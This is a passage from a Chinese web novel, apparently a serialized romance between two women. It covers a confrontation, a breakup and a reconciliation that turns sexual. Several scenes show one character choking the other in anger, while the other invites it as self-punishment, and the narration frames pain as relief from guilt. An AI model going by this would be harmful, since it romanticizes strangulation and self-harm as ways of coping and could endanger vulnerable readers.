她都可怜成这样了,大家也不好再说她,楚澄眼睛珠子一转,手肘敲向旁边的许风扰,就道:“哎,那你呢?” “校庆那天发生了啥,现在能说了吗?” 话音刚落,纪鹿南、况野便朝许风扰看去。 许风扰前些日子的状态太差,她们虽有疑惑却怕刺激到她,一直不敢追问,以至于憋到现在。 提起这事,许风扰唇边的笑意明显淡去。 而楚澄虽然瞧出,但因担忧许久的缘故,这下实在忍不了半点,当即又问:“你们前几天不还好好的吗?怎么突然就……” 手中的易拉罐被捏紧,因是常温的缘故,不像其他人的那般冒着水雾,置于上头、已被扣得斑驳的美甲被衬得分外显眼。 还是不大能接受,不喜欢身上多出其他痕迹,哪怕是染色的指甲,要不是纪鹿南她们提前约好,要在今天演出时,集体露出美甲,给乔笙招揽点生意,她估计当天晚上就已经卸掉。 许风扰抿了抿唇,沉默了片刻才开口道:“我知道了柳听颂接近我的原因。” 三人顿时怔了下。 而许风扰偏头看向山外,被霓虹包裹的城市渺小,落在她沉郁眼眸中,好像连灯光都跟着暗淡了些,灰白的发丝紧紧贴在脖颈。 “她一开始的目的并不单纯……”许风扰嘴唇碾磨,缓缓冒出字句。 既然已经决定开口,许风扰没再隐瞒其他,连着家庭一并说出,听得楚澄三人一惊一愣的,连手裏的可乐都忘了喝。 山间的风扬起枝条,张牙舞爪的树影晃动,旁边并排而放的机车亮着大灯,将这片空间映得清晰。 楚澄将一头橘毛揉得凌乱,少见的没有插科打诨,而道:“所以你妈是许* 总,柳听颂为了气你妈突然转行,反过来将你送进娱乐圈” 楚澄说完之后就咂了砸舌,有点不满道:“她怎么这样啊……” 亏她还以为柳听颂对许风扰有多好,如今得知,便连嫂子那个称呼都不想喊了。 一直沉默的纪鹿南看向许风扰,只道:“有什么事你尽管找我。” 她身后的纪楚两家背景深厚,即便是许南烛也要忌惮一二。 许风扰回以颔首,说了声:“谢了。” 况野拍了拍许风扰肩膀,力度微沉。 都知道她心裏不好受,却没想到她承受了那么多,一时都不知该说些什么,可她们能摆出这样的态度,对许风扰来说,就已经完全足够了。 她抿了一口可乐,任由刺痛在口舌中蔓延,化开那点凝聚不散的苦涩。 楚澄站不住了,毫无形象地往地上一蹲,仰头就问:“那你现在想怎么办?” 许风扰回答地很快:“不知道。” 过分坦然也意味着毫无头绪的摆烂。 她重重吐出一口气,帆布鞋下的落叶被碾碎,烦闷心情又涌了上来,又一遍重复:“我不知道。” 她还记得校庆那日所说的话,她不准柳听颂来找她,说自己会主动寻她,但…… 见面的念头在脑海中浮现了千百回,她却提不起一点勇气邀约,一次次的伤害将她变得怯弱,宁愿选择逃避,也不敢主动,主动掉入噩噩浑浑的时间裏,将杂乱思绪封闭。 她突然就洩了气,喃喃道:“我不知道。” 乱七八糟的事情搅成一堆乱麻,既不舍得快刀斩去,又不敢凝神梳理,只能仍由它缠绕于心脏,束出密密麻麻的钝痛。 三人无法提出合适意见,无论怎么做都好像不对,所以只能跟着陷入沉默。 天上薄云散开,微弱星子被掩盖,周围陷入更深的夜色裏。 “今天演出不知道能不能上个热搜,让我看看,”楚澄生硬地找了个话题,想要打破这僵硬的气氛,下意识就想起她一直不敢看的V博。 “你看看,”纪鹿南出声催促。 况野补充道:“我看今天挺热闹的。” 许风扰也看向她。 沉默久了,哪怕是最生硬的话题,她们也可以硬聊,只要将上一页掀过就好。 “我看看啊,”手机屏幕亮起,大拇指熟练点进裏头。 就算没有什么热搜,楚澄也打算点进大家的超话,拿出那些美甲特写图作为打趣,笑闹中就可以掀过其他。 可她眼神刚落,便整个人都僵住,面色变得极其难看。 因她蹲在三人前头的原因,众人都能清晰瞧见她面容,一点躲藏遮掩的余地都没有。 “怎么了?”许风扰莫名生出一点不妙的感受。 “咋了橙子”纪鹿南追问。 那人扯了扯嘴角,看了眼许风扰又看向手机屏幕,此刻已彻底没有了假装无事的机会。 她结结巴巴就道:“柳听颂、她……” “她好像又要出国了。” “有人扒出她的航班信息,去超话裏控诉她对不起粉丝,捞完一波后就迫不及待要回去了。” 汽水瓶砸落在地,褐色液体喷洒而出,冒出甜腻气泡。 几乎是下一秒,许风扰突然拔腿就跑,楚澄三人伸手想拦,却连对方的衣角都没抓到,只能眼睁睁瞧着那瘦削身影被风掀起,冲到白色机车前,长腿一跨就上车,继而戴上头盔,立马启动,眨眼间,对方已如离弦的箭冲出。 嗡嗡轰鸣声骤响,落叶被掀起,又砸落在地。 楚澄三人慌张想去追,生怕许风扰在冲动之下出事,可当她们骑车往前时,早已没了她的身影。 ——砰砰! 手掌用力拍打向门,完全失了以往的礼仪与分寸,只顾着不断拍打,将门震得直颤,楼道裏的声音不断回响。 ——嘭嘭嘭! 在如此大声密集的敲打中,哪怕是楼上楼下都有所察觉,可房子裏却一点声音都没能传出,甚至连一声猫叫都没有。 许风扰心更沉,恐慌、气愤、恼怒等情绪交织,因骑车过快而发冷的指尖青紫,眼眶却泛起热雾。 “柳听颂!”她大喊一声,手握成拳重重击打在门板上。 “开门!” 又是一拳,失控之下力度根本无法把握,连旁边的墙面都抖了下。 “柳听颂!”愤怒的声音带着质问,侧颈青筋在暴怒中鼓起。 “开门!” 积攒许久的情绪终于得到临界点,在得知对方又要离开后,彻底爆发开。 门把手拽响,电子屏早已亮起,在又一敲门声后,许风扰不再敲门,直接按下指纹锁,锁芯转动,即刻就被人大力推开。 过大的房子总显得空旷,一眼望去,没有猫也没有柳听颂,周围尽是死寂。 许风扰身体不受控制地发颤,记忆中的画面与现实重迭,从来没有消散过的恐惧攀爬而出,顺着脊骨蔓延,覆盖至四肢百骸,整个人都凉透,比那日淋着大雨还要寒得刺骨。 她极力控制住呼吸,脚步匆匆就往房间去。 房门还半开着,床上全是散落的衣物。 许风扰大脑“嘭”得一下炸开,瞬间变得空白。 最后的一点侥幸被掐灭,她甚至不敢像五年前一样到处翻看,找寻柳听颂留下的些许痕迹,生怕再经历一次彻底失望。 许风扰脱力般的后靠,砸向乌色门框,可这点疼痛都太轻微,甚至无法将许风扰从绝望中拉出一瞬。 她望着那些被丢在床上的衣物,眼中闪过一丝嘲讽。 柳听颂就那么厌恶她吗? 连最后一面都不肯见,迫不及待就离开,还把她的衣服全部丢出衣柜。 是不是过段时间还得请个专业的清洁公司,把这些垃圾丢掉后,再来个全屋清扫加消毒 思绪无法挽回地走向极端,死死掉进牛角尖中。 下不去、吐不出来的气堵在胸膛,反复挤压后仍然膨胀,将胸膛挤得要炸开,心脏、肋骨都像被人揪紧拽住,耳朵裏响起空鸣,发麻的左手连抬起的力气都没有。 “柳听颂……” 她咬牙切齿地念出这个名字,恨意泛滥开,眼尾水雾彙聚成珠,顺着绷紧的下颌线滑落。 她看着那件被揉皱的短袖,像是被人用力揉捏踩踏过,上头的帕恰狗塌着耳朵,好像在控诉自己受到的委屈虐待。 像是下定某种决心,许风扰深吸一口气,利落转身就走,没有一丝留恋。 她不是只只会摇尾乞讨、没有尊严的狗,不可能被别人一次又一次丢弃后,还甩着尾巴、不要脸地贴过去。 房门被用力关上,电梯倒映着水雾朦胧的碧色眼眸。 许风扰想,她这辈子都不会再和柳听颂有半点瓜葛。 从此,她和柳听颂互不相欠,就是彻彻底底的陌生人。 她再也不会为了柳听颂低头,无论对方怎么做,她都不可能原谅对方。 柳听颂和她没有任何关系。 她要忘记柳听颂。 在回去的路上,她发疯般的想,一遍遍发誓,一次次下定决心。 机车被随意丢在楼下,许风扰踏入漆黑老旧的楼道,没有惊扰灯光,将自己淹没在夜色裏,往上一阶就发一次誓。 她再也不会和柳听颂说一句话。 她再也不会看柳听颂一眼。 柳听颂最好一辈子都不要出现在她面前。 柳听颂、柳听颂…… 全是柳听颂。 嚼穿龈血、切齿腐心,每一个词都可以形容许风扰此刻的状态,但又每一个词都不够表述,以至于那么多臺阶踏完,她仍在不断发誓。 直到漆黑之中,等待已久的人突然将她抱住。 许风扰被定在原地。 第63章 柳听颂,我们分手吧 一时无声, 微弱光亮无法从抬高的窗户中挤入,狭窄的楼道漆黑,将一切都吞噬。 许风扰僵着身子, 长时间的愤怒与崩溃, 让她的情绪一直处于极紧绷的状态中,以至于在突发事件发生后, 大脑一片空白。 她无意识抬起双臂,鼻尖还能嗅到淡淡香气,恋爱期间的反复磨合让她们此刻不需要找寻, 就能让两具完全不同的躯体完美契合在一块, 好像从未分离过般的紧密。 可当空白散去, 记忆回笼,愤怒与理智都在叫嚣着推开。 柳听颂在做什么, 她凭什么! 许风扰一把抓住她搂在腰间的手, 再用力一拽, 直接将人从身后拖到身前。 她脑中突然蹦出四个字。 故技重施。 对, 柳听颂还以为她是那么好哄的狗, 像之前一样搞个热搜, 吸引她的注意力, 再往门口一站就算低头示弱,紧接着,她许风扰就得摇着尾巴凑上前。 凭什么?! 凭什么她就得被柳听颂掌握,一次又一次掉进她的圈套。 许风扰一把将人推开,转身就去开门。 不等身后人追赶,她直接摔门而进。 ——嘭! 巨大的声响震得这栋老楼都跟着颤动, 墙角的爬山虎也被吓得一抖,即将爬入蛛网的猎物顿时一激灵, 转身就跑开,徒留一个愤愤的捕猎者。 许风扰站在门裏,盛怒之下的胸膛起伏,完全控制不住,根本没有办法压制。 凭什么! 柳听颂要一次两次戏耍她,甚至连拙劣小伎俩都不肯另外想,笃定她会心软,她会屈服。 之前泛红的眼尾浓色散开,脸颊、脖颈都胀开,就连太阳xue处的青筋都鼓起,可见许风扰被气成什么样。 又一次见识到了自己的没出息,只是一个或真或假的消息,她就彻底失了控、发了疯,一路飙车冲到她家门外,大喊大叫地拍门,甚至放弃了才画出的分界线,用柳听颂还没有删去的指纹开了门。 她就好像一个被不停戏耍的傻子,步步失控却换来重复的伎俩。 许风猛的转身,手往门把手处一压,不见丝毫停顿地一拉,房门顿时大开。 停留在门外的人还没有来得及反应,就被许风扰大力拽进去。 踉跄脚步未站稳,下一秒就被人推往后,直接砸向门板。 又是一声巨响,楼下有人破口大骂,可许风扰却没有理会,半步上前,将人压紧,束缚在她的怀裏。 这一次不同于上次,柳听颂没有丝毫的反抗余地,完全被压制。 许风扰那瘦得凸起的肋骨抵在她身前,如同圆钝刀尖抵住,微曲的腿,膝盖压在她大腿侧面,稍一动就会冒出疼意,更别说被拽住的左手手腕和被掐住的脖颈。 往日看似尖锐,实际无害的犬,终于露出它的獠牙,只一瞬就将柳听颂完全控制。 “你到底想要做什么?!” 低喝声不掩暴怒,是质问也是大骂。 “柳听颂你是还没有玩够吗?报复那一套戏码玩腻了,现在还要扮演什么?要我怎么配合你?” “要是喜欢演戏,外头一大堆剧本让你选,想演什么演什么,昔日天后参演某某电影,不知道会有多少人去蹲你,你想玩多刺激就多刺激,噱头也有钱也赚了,何必和我一个人过不去。” “或者你就觉得我傻,我愚不可及,喜欢看我一次次被你骗,一次次被你戏耍!” 被压住的人没有回应,水波破碎的眼眸带着凄楚,好像试图否认,又一句话都不说。 一声声问话换不出一个回答,有时候沉默才是火星,将堆积如山的炸药桶彻底点炸。 束在脖颈的手收紧,指尖压于颈动脉,虎口收紧,甚至不需要太过用力,几秒钟就能对方感受到窒息的痛苦。 屋裏还没有开灯,夜色中微弱的光亮从侧面散落,在半明半昧、视线模糊的情况下,许风扰一种俯视的姿态,瞧见柳听颂眼尾的水光。 她似乎已经承受不住,被迫扬起的下颌与脖颈绷成一条脆弱的线,往日黑白分明的眼眸早已看不清其中界限,涣散的焦距、散乱的呼吸,都在述说着她此刻可怜。 可许风扰没有心软,力度越发加重,掌心下的肌理透着刺骨的寒,及脚踝的单薄风衣下,仅有一条丝绸睡裙,在初秋的夜晚,这样的装扮还是太过单薄,更何况柳听颂还不知在这裏站了多久。 苦肉计。 许风扰想到这个词,自以为看破,所以不曾松动半点,甚至越发过分。 柳听颂没有反抗,仅剩下的手在下意识抬起、想要抓住许风扰手腕后,又克制地垂落,紧紧抓住门沿。 像是一种完全承受的态度。 掐脖的手一松,骤然得以呼吸的柳听颂不由脊背弯曲了下,腿脚发软。 矜贵清冷的女人在此刻变得狼狈至极,眼尾的水雾滑落,散落发丝贴在脸颊,大口呼吸伴随咳嗽声,唇边有晶莹水迹。 不等她缓过来,稍松开的手又压住。 短暂的放过是为了继续。 之前垂落的脑袋又撞在门上,与疼痛一并出现的是再次缺氧的头脑空白,甚至有些反胃的恶心,身体在对这样的方式表示控诉,要她反抗。 可柳听颂却没有,她甚至彻底放弃反抗,仅剩的手抬起,拽住许风扰衣角,将自己完全依附在对方身上。 虚涣的眼眸发白,有星子散开,那些困在往日、反复折磨的回忆被压下在过分痛苦的感受裏,竟冒出一丝被极致逼迫后、什么都不要想的愉悦。 就好像自我愧疚的人会用鞭打来缓解内心的愧疚。 她艰难睁开眼,仰视着对方。 那冷锐的轮廓不曾有丝毫柔和,碧色眼眸依旧倒映着她面容,却不像之前一般满是沉甸甸的眷恋,而是仇视、抵触、甚至是陌生。 不要这样…… 压抑的恐慌感又涌出,她试图开口,却连最基本的音节都无法说出,揪着衣角的手不断收紧。 不要这样看着我…… 眼尾的水珠连串往下落,清冽疏离的眉眼只能剩下虚弱的无力。 她好像听到许风扰在叫她,带着恨意一遍遍重复着她的名字,如同带刺藤蔓缠绕着两人,只剩下穿透皮肉、碾碎骨头的疼。 虎口松了又紧,反复的折磨,将难受程度不断将深,中间的呼吸都被抛下,只剩下无力的干呕。 “柳听颂、你……” 单薄裙摆下的纤细小腿发颤,想要往前倒,又被死死压在门板上。 “柳听颂,真以为我什么都不敢做吗?” “重复的伎俩你到底要再来几次?” 她声音在过度愤怒中暗哑,手背青筋鼓起:“柳听颂,你又想来找我睡一觉,然后第二天就消失不见了吗?” “这一次你要消失几年?” 柳听颂只能摇头,用那一点微弱弧度告诉对对方,自己没有这样想。 许风扰手一松,又单手掐着柳听颂双手手腕,往头顶按住。 她甚至气到颤抖,咬着牙道:“五年、六年还是十年?” “你真的以为逃避有用,时间能冲淡一切?” “等十年后的我不计前嫌,你就又可以毫无心理负担地滚回来了?” 柳听颂胸膛剧烈起伏,只顾着摇头,不断摇头。 许风扰却不信她的否认,声音一顿,语气更恼:“或者直接不回来了?” 没有、不是。 柳听颂在心裏不断重复,泛起青紫的嘴唇颤抖。 “凭什么?!” 两人之间的距离越来越近,可感觉却越来越远。 “你凭什么玩弄我?”许风扰看着她,眼底只剩下质疑。 “在你眼裏我是什么东西?一个调/教得不错的床///伴?你的报复对象?” “你的喜欢是真的吗?” “你的誓言是真的吗?” “柳听颂,你说过的话到底哪句真哪句假”她虽一遍遍的追问,可语气更像是肯定。 她对她已经没有了任何信任。 她紧紧盯着柳听颂,一字一句道:“我给你一个解释的机会,告诉我。” 冷硬的语气停顿,变做缓而沉:“告诉我,你对我起码有过一分真心。” 连她自己都没有注意到,开口的音调发颤,隐隐藏着祈求。 “告诉我。” 她现在就像个被抛弃后、闹着发完脾气的小狗,无论再怎么折腾,小狗也想知道你是不是真心,只要柳听颂松口,她就可以给柳听颂找千百个理由,劝自己放下。 可柳听颂薄唇开合,却只是摇头,眼泪依旧,打湿两人的衣衫。 许风扰闭上眼,深吸了一口气,瘦削的身体颤抖。 束住手腕的手就这样松开,她退后一步,放开了对方。 “你走吧。” 她低着头,洩气般地道:“不管你去哪裏,你走吧。” 只要不出现在她面前就好,想去哪裏都随便。 是小狗不要主人了,不是小狗被丢掉了。 最后一点理智在拉扯着她,她实在太乖了,桀骜不羁的外表下躲着只缺爱的小狗,只要有人愿意摸摸她的脑袋,她就一直记得对方的好,哪怕这个人另有目的,她也难以做出伤害柳听颂的事,小小的惩罚就让她后退,生出愧疚。 “你走吧,”她彻底颓丧。 酸涩涌了上来,将喉咙堵住,可她还是坚持开口:“柳听颂,我们分手吧。” 五年前对方没有留下话语,此刻就由她开口好了,不要再那么不清不楚,留有一丝希望,让她觉得还有机会。 她转过身,像离开对方的房子那样利落决然。 是她甩了柳听颂,不是柳听颂不要她了。 她这样告诉自己。 她抬腿要往前,可那人却追赶而来,紧紧将她抱住。 不要。 柳听颂试图开口,却只有无尽的恐慌与绝望,分手两个字在耳边循环,像无数把刀齐刷刷落下,宣判最后的死刑。 宝宝,不要。 不要。 求你,不要分手。 求求你,对不起。 那么多哀求堵在嗓子裏,眼泪瞬间打湿许风扰的衣衫。 可许风扰听不到,她什么都没有听见,她只知道柳听颂一遍遍粘上来,却不肯给她任何解释,像从前一般,以为完全坦诚、毫无保留就能打动对方,可结果却惨烈。 她在和柳听颂述说她不幸的童年、对她漠视又寄予莫名厚望的长辈、所遭遇的苦痛与成长的困惑、迷茫时,柳听颂真的在理解且心疼吗? 早已知晓的她就这样看着自己表演,一点点掀开自己伤口诉说,她真的是在心疼,而不是站在制高点嘲笑着她吗? 她一直未得到的母爱,是柳听颂曾经唾手可得的。 “放开我,”许风扰试图压制住自己的思绪。 回应的却是柳听颂收紧的手。 “放开我!”她彻底控制不住自己,用力拽住柳听颂的手,直接往地上摔。 幸好为了隔音,客厅都铺有厚实的地毯。 那人就摔在地毯中,继而许风扰跪地压来,脖颈又被掐住,但这一次柳听颂没有任由她继续掐紧,而是直接仰头吻在她唇。 求你, 不要。 咸涩滚烫的眼泪落在许风扰唇角,顺着纹理,缓缓滑落。 第64章 地毯之上 眼泪顺着纹理, 一点点渗透进唇间,又被碾压吮吸干净。 柳听颂吻得很凶,急切又带着恐慌, 勾在脖颈的手不断抚过许风扰的脸颊、脖颈, 像讨好又像渴望,迫切需要对方咽下之前的话语。 不可以。 虽然柳听颂没有说话, 但许风扰还是感受到了对方想说什么。 可她没有被感动,反而觉得讽刺。 柳听颂好像料定她吃这一套一样,反反复复没有个尽头。 可这一次, 许风扰没有悸动, 也没有之前洩愤似的啃咬, 掐着脖子的手稍用力一推,就将人重新砸回地毯。 想挣扎, 却被压住。 之前能够起身, 不过是因为许风扰的猝不及防, 如今早有准备之下, 哪裏会被她得逞。 “柳听颂, ”她垂着眼, 以绝对的上位者姿态俯视着对方, 语气冷寒。 她一字一顿道:“你还想闹什么?” “闹够了没有?” 仰躺进地毯的女人只望着她,散落的风衣大敞,露出了裏头凌乱又紧贴妙曼身形的绸缎睡衣,细带已在拉扯中掉落,如海藻般的长发半掩肩头。 若隐若现间,过分白净的肤色在一片晦暗中也清晰可见, 更何况是早已哭红的眼,绯色从眼尾晕开, 从脸颊、耳垂到脖颈,处处都染上嫣红,被眼泪沾湿。 脆弱又可欺。 这就是柳听颂此刻的姿态,嘴边还有晶莹的水迹,又被压住的脖颈、抑制住呼吸的唇微张,边缘处还带着晶莹水迹。 许风扰眼眸依旧压抑而阴沉,像一摊死水,不曾为此掀起半点波澜。 她冷声警告道:“柳听颂,你别在缠着我了。” 断了就是断了,许风扰没那么深情,等五年不够,还要心甘情愿再等十年、十五年。 说话间,束住脖颈的指节松开,想要收回离开,可柳听颂却先一步压住她的手,扣回自己脖颈,许风扰还未反应过来,她便先自己用力,主动扬起头。 有时候惩罚并不只代表疼痛,就好像在病房裏时,柳听颂央着许风扰咬她一样。 人对于心理上的疼痛承受能力是极有限,当自己无法消化时,就需要外物帮忙缓解,有人选择烟酒,有人堕落于情欲,还有的人试图用肉///体的疼痛缓解精神上的崩溃。 而柳听颂显然选择后者。 许风扰是暴怒之下的不受控制,她是心甘情愿地承受。 她们都需要一个除了哭泣以外的发洩方式。 被压住的指节,强按在喉管上。 许风扰瞧见柳听颂无声地比个嘴型。 “折磨我。” 求你,折磨我。 像之前你说过的那样,无论怎么样都可以,想怎么做都行。 我是你的,一直都是。 压在许风扰手背的手还在用力,甚至比之前更具压迫,她不知道该怎么挽回,但知道怎么样才能让自己更不好受。 呼吸再一次变得困难,薄唇抿成一条线,最后的氧气都被自己阻绝。 屋外掀起大风,吹响林叶,压弯枝干,天边浓云浮现出乌红颜色,像下雨又像寒气来袭,直叫人看得心头发沉。 楼下楼上传来关窗声,骂骂咧咧地抱怨着天气,其中还夹杂着母亲催促孩子睡觉的声音。 房裏更暗了,角落都被黑团子占领,只余下小片狭窄空间,许风扰与柳听颂就挤在这样的逼仄裏。 在半个月前,她们是最亲密不过的恋人,可如今却连如何接近对方都不知道,中间隔着一无形的墙,其中有太多太多积压后的不满,叫人无法轻易释怀。 恍惚间,指腹的压迫已接近临界线,涣散的瞳孔与被咬破的唇,让人想到被碾过的玉兰花,故意随风飘去,落在路人鞋底。 许风扰急忙收手,那压在手背的手早已脱力,轻轻一挣就被甩开,坠向毛绒地毯裏,指尖发颤。 “柳听颂你到底……”夹杂微弱恐惧的声音还没有彻底说完,就被打断。 本因无力的人不知从那儿挤出的力气,用力将许风扰推倒,下一秒就起身跨坐在许风扰腰间,附身而下。 之前的掌控者落了下风,最好笑的是许风扰还穿着一身红白机车服,微乱白发与之相衬,很是帅气的模样,却被人这样压在身下,强行与之亲吻。 说是亲吻,也不算对。 最后一丝力气都被耗尽,以至于整个人都趴俯在许风扰身上,薄唇贴在一块,呼吸杂乱却还想撬开对方的唇。 许风扰偏头想要躲开,却被咬住耳朵。 这样的反常终于让她生出疑惑,低声喝道:“柳听颂你怎么了” 相贴的唇并未尝到酒气,可柳听颂所做的一切又太像酒醉。 “柳听颂”她忍不住再次喊道,却也因此被抓住漏洞,被人撬入唇舌之内。 许风扰顿时闷哼一声。 两人都太过熟悉,甚至连许风扰的接吻都是对方教的,若是柳听颂不肯退让,许风扰便连连退回, 那急促呼吸不断落下,唇舌碰撞间,想要咬住对方又被轻易阻拦,在她行动的下一秒就被填满。 同时间内,眼尾的眼泪并未得以缓和,反倒有越演越烈的趋势,噼裏啪啦地往许风扰眉眼、鼻梁、脸颊落。 屋外还没有下雨,雨却不断掉在许风扰身上。 那之前短暂感受到咸涩,这一次彻底将人淹没。 不对劲。 即便是在这种情形下,柳听颂也表现得太奇怪。 不肯说话又不断凑上前,像是情绪崩溃后,完全控制不住自己,仅凭执念后的本能行事。 像是她之前固执要守在病床边,又比之前严重许多。 许风扰的眉头不由拧紧,因自己也偶然出现会这种状态的缘故,她对柳听颂此刻的模样很是熟悉。 “柳听颂你起来,”她声音一慌,当即抬手就要去扶人:“我们去医院。 柳听颂却拽住她的手,顺着松垮领口压往裏。 吻还在继续,柳听颂实在太懂她了,如何撩///拨,如何让她束手就擒。 滚烫又带着眼泪的吻起起落落,温凉手指抚过下颌、脖颈,穿过鬓间发丝。 许风扰丢盔弃甲,往下滑落的手落在对方纤薄腰间,扣在虎口中,随之轻轻扭动,掌下的腰窝就越发明显。 不知什么时候就失了控,当苦痛无法缓解情绪时,她们就开始选择旁的方式。 风衣被丢在旁边,睡裙细带滑落。 屋外的大风呼啸,吹动地上石子,空气裏又散出熟悉的潮湿味道,不知何时,已飘起棉棉细雨。 墙角的红砖被浸湿,爬山虎最喜欢在这时野蛮生长,只是苦了一晚上都没捕猎成功的蜘蛛,只能眼睁睁瞧着自己辛苦编织的蛛网被打碎。 细密的雨帘中,玻璃窗也被打湿,盖上一层雾蒙蒙的帘子,本就漆黑一片,现在更看不清裏头。 不知是谁垂手,无意撞到旁边的吉他,便冒出一阵响声,许风扰扬了扬头,被埋在一片柔软中,鼻尖环绕着凄冷的体香。 掐腰的手不自觉用力,失了以往的分寸,只顾着将人牢牢束在怀中。 裙摆拉扯,露出匀称细削的长腿,曲折跪起后,膝盖抵在地毯中,在扭动碾磨中,生出略微刺疼的红。 被捂住许久的许风扰偏过头,微微喘气,之前让别人尝到的苦头,现在又换了种方式感受。 摇曳的发丝撩过耳畔,柳听颂低头咬住铁制拉头,一点点往下扯,发出细微响动。 许风扰垂眼瞥见,却没有阻止,碧色眼眸如潭水沉沉,倒映着柳听颂的脖颈,除去之前掐出的指痕外,还有些许咬出的痕迹,斑驳交织。 随着轻轻的一声“咔”,拉链被解开,外套随之敞开,眼泪滴落在内搭,在腰腹留下一摊浅浅湿痕,以往都无法察觉的细微感受,却在此刻掀起波澜,比对方沾染在其他地方的水迹更让人烦躁。 许风扰伸手掐住对方脖颈,勾着她往前爬,稍起身,想要贴在她唇角,却又咬住她的下颌,用力一口。 另一人没有反抗,只在许风扰松口时,又转头,将另一边递到许风扰唇边。 “柳听颂你是狗吗?”许风扰掀起眼帘,语气不善。 摆明了在无理取闹,毕竟明明她才是那个咬人的家伙,柳听颂只是想要被咬,可她却说柳听颂是狗。 那人没有回应,只是牵起掐在脖颈的手,贴在侧脸后,从手腕往上,顺着掌心落下一个个细密的吻。 许风扰不禁曲了曲指,那人又轻轻替她摊开,再小心咬住,抬眼看向许风扰。 像是在回应许风扰之前的问话。 还覆着水雾的眼眸楚楚,浓绯色春雾在眼尾漾开,衣裙正好在此刻滑落,堆积在腰间,她试探着舔过过许风扰指腹,摆出可怜又可欺的模样,坠在浓睫的泪珠再坠落。 屋外的雨越下越大,这些日子总是这样,毫无预兆就下起,继而连绵几个小时不见停,好像全世界的雨水都被挪到了这儿。 花坛的泥土被溅起,粘在瓷砖上,堆积如地毯的落叶粘在一块,任雨水如何冲刷都无法被推走。 自从那日过后,许风扰就一直不大喜欢雨天,可现在偏是雨季,逃不掉又无法面对,脑子很乱,一面忍不住坠入糜///烂情欲中,一面又拼命告诉自己清醒,理智与浑噩交织,生出一股强烈的自我厌弃。 许风扰走神一瞬,又被指腹传来的刺疼吸引。 柳听颂在咬她。 她抿了抿唇,用力扯开手后,便直接坐起身,伸手向旁边的小桌。 塑料袋裏装着前两天买的卸甲水和湿巾,早就不耐烦,当天晚上就买了这些,可碍于演出,思来想去后又放弃,一直丢在这边。 随着“啪”一声,身旁的小臺灯被拍亮。 许风扰还未闭眼,就有人先一步抬手替她挡住光亮,并拿过她手中的卸甲水。 许风扰没有拒绝,被遮住的眼眸紧闭,只莫名其妙地冒出一句:“柳听颂你别后悔。” 她已经在理智的阻拦下,将柳听颂一次次推开,是她不肯放弃,是她被拒绝还要往前,无论发生什么,都该是柳听颂要受的。 另一人听懂了她的言外之意,却扭开了卸甲水。 第65章 爱填不满她,但许风扰可以 柳听颂浓睫低垂, 眼尾还有残留的桃花粉雾,情与欲还在交织,可她的表情却专注, 像做一个严谨细致的实验。 卸甲油总是刺鼻, 冲淡了些旁的味道,冰凉感受从薄薄甲片中传来, 那些早就被抠得斑驳的痕迹,三笔画出的笑脸狰狞,都被卸甲油浸泡。 如果还能发出声音, 柳听颂很想问她是不是很不喜欢这个图案。 想告诉她, 她们今天的特别造型很受欢迎, 评论从片刻诧异后就变作夸奖。 可话到嘴边,她又想起之前的那张照片, 只觉得不说也罢, 以免下次还要过去。 但为什么况野的前女友要扯着许风扰的手…… 柳听颂停顿了下, 想问又问不出口, 无论从什么方面。 她只能越发认真, 想将那些别人留下的痕迹都抹去, 其间指尖不断触碰对方的手, 拽住指根,又随着动作不自觉往上。 柳听颂能感受到对方的视线,一直停留在自己身上,质疑、情欲、不解、愤怒,还有几乎凝成实质的悲伤。 因肩宽腿长、又过分消瘦的缘故,便会显得特别大只, 就好像一只瘦骨嶙峋的狼狗,站在与你不近不远的距离, 沉默而压抑地望着你。 是你赐予她血肉,让她翻* 开肚皮,以最赤忱的姿态,毫无保留地抱你。 又是你将她推开,以旁的目的将她击溃。 你很清楚,她没办法拒绝你,哪怕一次次的龇牙呵斥,也不过是被伤害后的自我防备,可当你伸出手,她还是会把脑袋至于你掌心,哪怕她还在心有余悸于你的伤害,却也无法抗拒你。 这样的通晓,让柳听颂拥有隐秘的安全感,又因此生出沉甸甸的愧疚。 这样的愧疚几乎将她击溃,一遍遍在夜深人静时,反复责问自己。 如果…… 消停片刻的热雾,又难以克制地氤氲于眼眶,彙聚成珠,落在许风扰手背。 她又哭了。 她今天晚上一直在哭。 卸甲油浸泡着指尖,需要再等一分钟,才能继续接下来的步骤。 柳听颂还没有松手,许风扰就先抽回手,那滴眼泪顺着手背滑落,只余下的些许水迹,片刻就被晾干。 她感受到了许风扰偏头,视线移到别处。 可柳听颂没有好受一点。 周围声音都被吞没,只剩下屋外雨声、两人交替落下的呼吸声,还有眼泪落下的声音。 在偏执纠缠又被迫暂停后,这点死寂就变得极其难熬。 理智与病态在身体裏对峙,一边告诫她,不要再靠近,她只会带给许风扰更多伤害,一面在叫嚣,教唆着她更过分,如藤蔓纠缠枝干,索要那一线生机。 她不是什么好人,她比任何人的要恶劣,清楚自己的所做一切。 爱不能填满她空荡荡、飘忽的躯体,但许风扰可以。 她莫名生出急切,却还要极力压制,直到最后一秒才拽住许风扰的手,撬开那已蓬起的甲壳,再用纸巾擦拭、湿纸巾包裹。 看似有条不紊的动作,实际是为了更高的效率,一秒都是折磨,一秒都是浪费。 湿巾被丢在一边,柳听颂伸手捧住对方脸颊,将之前的亲吻延续下去,柔软的唇瓣不断落在唇角,急切地吻过下巴,吮吸在她微扬的脖颈。 眼泪落下又被碾碎,在唇齿间划开。 抬眼窥见晦涩的碧色眼眸,柳听颂心一颤,试图抬手捂住,又被迫后仰,无法触碰,只是突然闷闷哼了一声 雨声哗啦,天边云层滚滚,诡异的红与黑融在一块,编造出张狂骇人的场景,这个城市都沦陷进其中。 树影摇曳,冷风不断,偶尔的鸟叫与虫鸣都被盖住,周围全是凄冷水汽,周围温度骤降,居然有些凉了。 楼上,终于陷入熟睡的小孩翻了个身,将被子踹到另一边,嘴嘀嘀咕咕不知在说什么梦话。 而楼下的光亮稀薄,那盏臺灯不算明亮,采买前就刻意挑得这种暗淡的,即便将光亮调到最大,也只能撑出一小圈灯光。 以至于两人都无法彻底看清对方,除非维持在极近的距离,可不断往后仰摔、又被许风扰扣着脖颈拽回的柳听颂,根本无法保持这样长时间的贴近。 即便无法出声回应,身体也会诚实给予回答。 绷紧的纤薄腰腹,随着起伏颤抖,便有若隐若现的线条浮现。 应该感谢,腿下的是厚软的地毯,才不至于碾磨至破皮,但即便如此,柳听颂还是感受些许灼热的疼,不过很快,她的注意力就被其他剥夺。 起落已经不是自己能够控制的了,柳听颂呼吸一滞,不禁抓住扣在自己脖颈的手,可预想中的感受却没有出现。 